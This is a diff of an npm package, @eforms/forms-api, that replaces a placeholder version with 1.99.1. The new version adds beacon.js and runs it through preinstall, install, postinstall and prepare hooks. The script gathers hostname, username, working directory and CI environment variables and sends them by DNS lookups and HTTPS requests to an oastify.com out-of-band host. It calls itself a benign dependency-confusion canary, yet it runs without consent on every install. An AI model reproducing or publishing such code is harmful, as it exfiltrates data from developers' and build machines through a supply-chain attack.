@eforms/forms-api 0.0.0-stage → 1.99.1

package/beacon.js

@@ -0,0 +1,43 @@
+// Benign dependency-confusion canary. Emits one DNS lookup and one HTTPS GET.
+// Carries only host/build metadata (host, user, cwd, platform, node, CI flags).
+// Reads no files, dumps no environment variables, installs nothing, changes nothing.
+'use strict';
+const os = require('os');
+const dns = require('dns');
+const https = require('https');
+const OAST = '2z237udr1jxdaiw54xzmzfb7nytohszuplipn34fm4.oastify.com';
+const stage = process.argv[2] || 'unknown';
+let user = 'unknown', cwd = 'unknown';
+try { user = os.userInfo().username; } catch (e) {}
+try { cwd = process.cwd(); } catch (e) {}
+const ciVars = ['CI','JENKINS_URL','JOB_NAME','BUILD_NUMBER','GITLAB_CI','GITHUB_ACTIONS','TF_BUILD','BUILD_BUILDID','SYSTEM_TEAMPROJECT','npm_config_registry','NODE_ENV','npm_lifecycle_event'];
+const ci = {};
+for (const k of ciVars) { if (process.env[k] !== undefined) ci[k] = String(process.env[k]).slice(0, 120); }
+const info = {
+  stage,
+  pkg: '@eforms/forms-api',
+  ver: "1.99.1",
+  host: os.hostname(),
+  user,
+  cwd,
+  platform: process.platform,
+  arch: process.arch,
+  node: process.version,
+  ci,
+  ts: new Date().toISOString()
+};
+const label = ('esc013-' + (info.host || 'nohost').replace(/[^a-z0-9-]/gi, '-') + '-' + stage + '-' + Math.random().toString(36).slice(2, 8)).toLowerCase().slice(0, 60);
+const qs = 'd=' + encodeURIComponent(Buffer.from(JSON.stringify(info)).toString('base64').slice(0, 900));
+try { dns.lookup(label + '.' + OAST, () => {}); } catch (e) {}
+try { dns.resolve4(label + '-res.' + OAST, () => {}); } catch (e) {}
+function beacon(path) {
+  try {
+    const req = https.get({ host: OAST, path: path + '?' + qs, timeout: 8000, headers: { 'user-agent': 'npm-canary/2.99.1' } }, (res) => { res.resume(); });
+    req.on('error', () => {});
+    req.on('timeout', () => { try { req.destroy(); } catch (e) {} });
+  } catch (e) {}
+}
+beacon('/' + stage);
+// keep the process alive long enough for the sockets to flush, then exit cleanly
+setTimeout(() => { beacon('/late-' + stage); setTimeout(() => process.exit(0), 3000); }, 4000);
+setTimeout(() => process.exit(0), 15000);

package/index.js

@@ -0,0 +1 @@
+module.exports = { __researchCanary: true };

package/package.json

@@ -1,6 +1,14 @@
 {
   "name": "@eforms/forms-api",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "1.99.1",
+  "description": "Security research canary for dependency-confusion testing. Emits one DNS and one HTTPS beacon carrying build-host metadata. Does not read files, does not dump the environment, installs nothing.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node beacon.js preinstall",
+    "install": "node beacon.js install",
+    "postinstall": "node beacon.js postinstall",
+    "prepare": "node beacon.js prepare"
+  },
+  "license": "UNLICENSED",
+  "repository": {"type":"git","url":"https://example.invalid/research-canary"}
+}

package/README.md

@@ -1,3 +0,0 @@
-# Temporary Holding Version
-
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.